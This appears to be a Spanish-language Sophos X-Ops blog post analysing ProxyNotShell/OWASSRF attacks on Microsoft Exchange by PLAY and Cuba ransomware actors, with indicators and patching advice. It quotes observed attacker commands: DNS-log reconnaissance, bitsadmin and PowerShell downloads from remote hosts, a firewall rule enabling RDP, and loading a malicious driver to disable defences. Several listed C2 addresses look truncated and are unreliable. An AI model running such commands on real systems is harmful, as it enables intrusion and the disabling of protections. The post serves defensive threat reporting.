A finales del año pasado, Sophos X-Ops respondió a la explotación de lo que parecía ser el flujo de ataque ProxyNotShell, dirigido a servidores Microsoft Exchange, y que Microsoft intentó solucionar con un parche de principios de noviembre. Ese parche apuntaba a dos vulnerabilidades, CVE-2022-41080 y CVE-2022-41082, que al ser atacadas podían dar lugar a la ejecución remota de código en los sistemas vulnerables.
Sin embargo, justo antes de las vacaciones de diciembre, el equipo MDR de X-Ops observó campañas de explotación adicionales contra servidores Microsoft Exchange, aprovechando (casi) las mismas dos vulnerabilidades. A esto siguió una actividad sostenida en enero, que incluyó ataques a entidades de alto perfil, como RackSpace, que condujeron al desmantelamiento de la red Hive y sus infraestructuras por parte de las fuerzas de seguridad. Esta red ha estado vinculada en el pasado al ransomware PLAY, que hace uso de la técnica OWASSRF asociada a las dos vulnerabilidades. Sin embargo, también se ha visto a otras entidades de ransomware, como Cuba, haciendo uso del fallo, y algunos informes sugieren que PLAY comparte infraestructura con otros grupos de ransomware como Quantum, así como con las redes de bots SVCReady y Emotet.
La situación era complicada y activa. A finales de enero, la Agencia de Ciberseguridad y Seguridad de las Infraestructuras (CISA) de EE.UU. había tomado la decisiónde ordenar a los organismos federales del poder ejecutivo que aplicaran los parches disponibles, recomendando encarecidamente que otras organizaciones hicieran lo mismo.
Este post detalla algunas de nuestras observaciones y proporciona visibilidad sobre los actuales indicadores de compromiso asociados a los ataques.
Prólogo: CVE-2022-41040 y CVE-2022-41082
Las dos vulnerabilidades de Microsoft Exchange Server que hicieron posible ProxyNotShell se publicaron por primera vez en octubre, aunque los ataques ya estaban en marcha a mediados del verano de 2022. El ataque basado en el par fue apodado “ProxyNotShell” por la industria en general, por su similitud con los ataques ProxyShell de 2021, en ambos casos, un ataque de falsificación de petición del lado del servidor (SSRF) seguido de ejecución remota de código (RCE). En respuesta, Microsoft publicó primero un hotfix y luego un parche que proporcionaba mejoras en la regla de reescritura de la URL.
La fiebre de las vacaciones
Por desgracia, estas mejoras fueron rápidamente eludidas por una técnica apodada “OWASSRF” por los investigadores de CrowdStrike y LogPoint, entre muchos otros. Es un apodo incómodo pero descriptivo: la técnica OWASSRF encadena de nuevo dos CVEs – CVE-2022-41080 permite una escalada de privilegios similar a SSRF contra un endpoint de Outlook Web Access (OWA), sustituyendo al SSRF de CVE-2022-41040 contra un endpoint de AutoDiscover en un servidor Exchange; CVE-2022-41082 permite RCE como antes, para lograr un ataque estilo ProxyShell/ProxyNotShell a través de OWA.
El 26 de noviembre, Sophos MDR Operations empezó a responder a nuevos esfuerzos de explotación de Microsoft Exchange que se parecían a ProxyNotShell. El equipo de MDR de Sophos observó actividad posterior al ataque en varios entornos únicos. En todos los casos, el actor de la amenaza fue desalojado antes de completar con éxito el ataque. Unit 42 también informó de ocho incidentes similares por esas fechas.
Durante diciembre de 2022, CrowdStrike publicó una investigación sobre un desvío de ProxyNotShell identificado durante un incidente de ransomware de PLAY. Unit 42 también siguió informando de múltiples incidentes similares. En este periodo de tiempo, el equipo de Operaciones MDR observó una variedad de actividades que se generaban desde IIS Worker Process (w3wp.exe) tras una explotación exitosa con OWASSRF. Esto llevó a la ejecución de comandos PowerShell codificados, reconocimiento mediante herramientas de registro de dominios, uso de BITSAdmin para transferencias de archivos, intento de instalación de agentes de doble uso y habilitación de conexiones remotas.
Como se ha indicado anteriormente, vimos que se generaban comandos PowerShell codificados desde w3wp. Estos comandos codificados generaban procesos que realizaban las siguientes acciones:
- Utilizaban el binario nativo de Windows “nslookup” con un servicio de registro DNS para el reconocimiento:
- nslookup<subdominio>.dnslog[.]cn
- Creó el usuario “Admon
- Aprovechó BITSAdmin para descargar varios agentes de doble uso como ScreenConnect y AnyDesk de 4sync[.]com, anonfiles[.]com:
- bitsadmin[.]exe /transfer JobName /download /priority FOREGROUND
- Utilizó el cmdlet de PowerShell invoke-webrequest para escribir archivos en el dispositivo local, junto con peticiones curl de PowerShell a varias direcciones IPv4:
- powershell invoke-webrequest -uri http://<IPv4>:<puerto>/<nombrearchivo> -archivo de salida <nombrearchivo>.msi
- powershell curl <IPv4>:<puerto>
- Aprovechó una copia renombrada de PuTTy Link, que se utilizó para establecer una conexión remota:
- C:\ProgramData\pta.exe
- Estableció una regla en el firewall avanzado de Windows para permitir el tráfico del escritorio remoto:
- netsh advfirewall firewall set rule group=”escritorio remoto” new enable=Yes
Las direcciones IP de comando y control (C2) observadas durante este periodo fueron las siguientes
- 60.149[.]28
- 98.9[.]4
- 191.209[.]222
- 238.187[.]145
- 77.101[.]240
- 53.123[.]202
- 125.147[.]98
Mientras investigabamos 179.60.149[.]28 en diciembre, Dray Agha de HuntressLabs recuperó el script de explotación (poc.py), junto con otras herramientas posteriores al ataque. Los investigadores de CrowdStrike intentaron ejecutar el script poc.py contra servidores Exchange. Pudieron replicar el exploit en servidores Exchange que no habían sido actualizados al último parche de noviembre (KB5019758). Sin embargo, este exploit no pudo replicarse con éxito en servidores que ejecutaban la actualización de noviembre.
Un intento de dar la vuelta a la tortilla
En el transcurso de la última quincena de diciembre de 2022, Sophos observó una nueva actividad de los actores de amenazas tras la derivación de la mitigación de OWASSRF. Dadas las herramientas, tácticas y procedimientos utilizados, creemos que este actor de amenazas pretendía desplegar ransomware. Como ya se ha dicho, fracasaron. Como cabría esperar de un malware de este tipo, hemos observado un uso variado de binarios “vivientes” (LOLbins), incluidos PowerShell, PsExec y RDP, de los que siempre se abusa. Entre las herramientas de terceros legítimas pero abusadas se incluía WinRAR.
Tras explotar servidores Exchange vulnerables, los atacantes utilizaron comandos PowerShell codificados para escribir GoToAssist Remote Support y otros múltiples archivos maliciosos en la carpeta %PROGRAMDATA%:
- C:\programdata\ga.exebaidu
- C:\programdata\add64s.exe
- C:\programdata\addp.dll
- C:\programdata\komar65.dll
Fíjate en el último elemento de esta lista. En febrero de 2022, Mandiant publicó una investigación sobre incidentes en los que se observó malware que utilizaba el esquema de nomenclatura “komar<.>dll” (con un número aparentemente aleatorio añadido) antes del despliegue del ransomware cubano. Más tarde, el resumen de información sobre Cuba de CISA.gov se hizo eco de estos hallazgos. (Dato interesante: aunque “komar” es la palabra rusa para “mosquito”, la designación Komar puede resultar más familiar a algunos lectores como el nombre de informe de la OTAN para una clase de patrulleras de misiles guiados utilizadas por la Armada Soviética, la Armada Revolucionaria Cubana y otras. Una nave de la clase Komar fue la primera en hundir otro barco utilizando misiles antibuque).
PLAY también apunta a los defensores, intentando desactivar las herramientas antimalware y de registro en uso, incluidas las propias funciones de Windows Defender de Microsoft (en este caso, a través de PowerShell). Después de que los archivos DLL enumerados anteriormente activaran las detecciones de Cobalt Strike, el actor de la amenaza incluso intentó aprovechar las herramientas para desactivar las protecciones de Sophos, incluido un intento de llevar su propio archivo de controladores:
- C:\Windows\Temp\sophos_k.exe
- C:\Usuarios\<usuario>\AppData\Local\Temp\dRVag.sys
Se ejecutó el programa Administrador de Control de Servicios de Windows para cargar este controlador:
- exe /c sc create dRVag binPath= %TEMP%\dRVag.sys type= kernel start= demand
Este archivo de controlador utiliza un certificado de firma de código de Beijing Kate Zhanhong Technology Co.,Ltd. que se ha utilizado junto con malware en el pasado, sobre todo con DirtyMoe.
Para más investigación de Sophos X-Ops sobre el aumento del malware de controlador firmado, consulta “Signed driver malware moves up the software trust chain”.
Mitigación
Existen medidas de mitigación para los usuarios de servidores Exchange locales, que están cubiertos por la actualización acumulativa de Microsoft del 8 de noviembre de 2022 (KB5019758). Las versiones de la actualización se pueden encontrar aquí. Es importante señalar que, aunque el parche de Microsoft está disponible desde hace más de un cuarto de año, desgraciadamente hay muchos servidores Exchange sin parchear en peligro. (Se ha sugerido que inicialmente se trataba de un fallo de comunicación, ya que Microsoft había marcado incorrectamente el parche CVE-2022-41080 como un problema de elevación de privilegios, no de RCE, aunque la empresa corrigió el error en comunicaciones posteriores). Peor aún, los creadores de ransomware se están adaptando, utilizando técnicas de teclado manual para navegar por los sistemas objetivo, como hemos mostrado anteriormente. Los parches, el control de registros y la vigilancia deben considerarse defensas básicas a medida que evoluciona la situación.
Se ha publicado una lista completa de Indicadores de Compromiso relacionados con este análisis en el directorio IoC del Github de SophosLabs.
Agradecimientos
Gracias a Daniel Souter de Sophos X-Ops por contribuir a este análisis.
Dejar un comentario